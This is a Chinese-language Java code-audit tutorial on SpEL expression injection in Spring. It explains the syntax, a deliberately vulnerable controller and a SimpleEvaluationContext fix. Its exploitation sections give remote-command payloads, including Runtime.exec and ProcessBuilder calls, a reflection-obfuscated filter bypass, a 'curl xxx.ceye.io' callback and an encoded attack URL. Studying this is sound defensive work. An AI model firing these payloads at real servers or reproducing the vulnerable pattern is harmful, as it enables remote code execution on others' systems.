java程式碼審計-SpEL表示式注入

2023-03-09 12:00:50

0x01 前言

Spring Expression Language(簡稱 SpEL)是一種功能強大的表示式語言、用於在執行時查詢和操作物件圖;語法上類似於Unified EL,但提供了更多的特性,特別是方法呼叫和基本字串模板函數。SpEL 的誕生是為了給 Spring 社群提供一種能夠與Spring 生態系統所有產品無縫對接,能提供一站式支援的表示式語言

0x02 SpEL 語法

SpEL使用 #{...} 作為定界符,所有在大括號中的字元都將被認為是 SpEL表示式,我們可以在其中使用運運算元,變數以及參照bean,屬性和方法如:

  • 參照其他物件: #{car}
  • 參照其他物件的屬性:#{car.brand}
  • 呼叫其它方法 , 還可以鏈式操作:#{car.toString()}
  • 其中屬性名稱參照還可以用\(符號 如:`\){someProperty} `

除此以外在SpEL中,使用T() 運運算元會呼叫類作用域的方法和常數。類型別表示式:使用"T(Type)"來表示 java.lang.Class 範例,"Type"必須是類全限定名,"java.lang"包除外,即該包下的類可以不指定包名;使用類型別表示式還可以進行存取類靜態方法及類靜態欄位
例如,在SpEL中使用Java的Math類,這樣使用T()運運算元:#{T(java.lang.Math)}
T()運運算元的結果會返回一個java.lang.Math類物件

0x03 SpEL 使用方式

SpEL 在求表示式值時一般分為四步,其中第三步可選:首先構造一個解析器,其次解析器解析字串表示式,在此構造上下文,最後根據上下文得到表示式運算後的值

ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' lisa').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));
  1. 建立解析器:SpEL 使用 ExpressionParser 介面表示解析器,提供 SpelExpressionParser 預設實現
  2. 解析表示式:使用 ExpressionParser 的 parseExpression 來解析相應的表示式為 Expression 物件
  3. 構造上下文:準備比如變數定義等等表示式需要的上下文資料
  4. 求值:通過 Expression 介面的 getValue 方法根據上下文獲得表示式值
  • Expression 介面:表示表示式物件,預設實現是 org.springframework.expression.spel.standard 包中的SpelExpression,提供 getValue 方法用於獲取表示式值,提供 setValue 方法用於設定物件值
  • EvaluationContext 介面:表示上下文環境,預設實現是 org.springframework.expression.spel.support 包中的 StandardEvaluationContext 類,使用 setRootObject 方法來設定根物件,使用 setVariable 方法來註冊自定義變數,使用 registerFunction 來註冊自定義函數等等

spel表示式有三種用法:

  1. 註解
@value("#{表示式}")
public String arg;

這種一般是寫死在程式碼中的,不是關注的重點

  1. xml
<bean id="Bean1" class="com.test.xxx">
	<property name="arg" value="#{表示式}">
</bean>

這種情況通常也是寫死在程式碼中的,但是也有已知的利用場景,就是利用反序列化讓程式載入我們實現構造好的惡意xml檔案,如jackson的CVE-2017-17485、weblogic的CVE-2019-2725等

  1. 在Controller中處理外部傳入的表示式

這部分是關注的重點

@RequestMapping("/spel")
public String spel(@RequestParam(name = "spel") String spel) {
    ExpressionParser expressionParser = new SpelExpressionParser();
    Expression expression = expressionParser.parseExpression(spel);
    Object object = expression.getValue();
    return object.toString();
}

0x03 漏洞利用

  1. 漏洞可以利用的前置條件有三個:
  • 傳入的表示式未過濾
  • 表示式解析之後呼叫了getValue/setValue方法
  • 使用StandardEvaluationContext(預設)作為上下文物件
  1. spel表示式功能非常強大,在漏洞利用方面主要使用這幾個功能:
  • 使用T(Type)表示Type類的範例,Type為全限定名稱,如T(com.test.Bean1)。但是java.lang例外,該包下的類可以不指定包名。得到類範例後會存取類靜態方法與欄位。
T(java.lang.Runtime).getRuntime().exec("whoami")
  • 直接通過java語法範例化物件、呼叫方法
new ProcessBuilder("whoami").start()

//可以利用反射來繞過一些過濾
#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')}

0x03 案例

/**
     * SpEL to RCE 
     * http://localhost:8080/spel/vul/? 
expression=xxx. 
     * xxx is urlencode(exp) 
     * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io") 
     */ 
@GetMapping("/spel/vuln") 
public String rce(String expression) { 
    ExpressionParser parser = new SpelExpressionParser(); 
    // fix method: SimpleEvaluationContext 
    return parser.parseExpression(expression).getValue().toString(); 
} 

如果不指定預設使用StandardEvaluationContext作為上下文物件,注意payload需要URL編碼
payload:http://localhost/spel/vuln?expression=T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)

0x03 漏洞防禦

使用SimpleEvaluationContext作為上下文物件。
修復程式碼:

    @GetMapping("/spel/sec")
    public String spel_sec(String expression) {
        ExpressionParser parser = new SpelExpressionParser();
        //唯讀屬性
        EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        return parser.parseExpression(expression).getValue(context).toString();
    }

0x04 總結

審計方法:
可以先全域性搜尋 org.springframework.expression.spel.standard, 或是 expression.getValue()expression.setValue(),定位到具體漏洞程式碼,再分析傳入的引數能不能利用,最後再追蹤引數來源,看看是否可控
關鍵詞SpelExpressionParserStandardEvaluationContext
參考連結Java特色-表示式注入漏洞從入門到放棄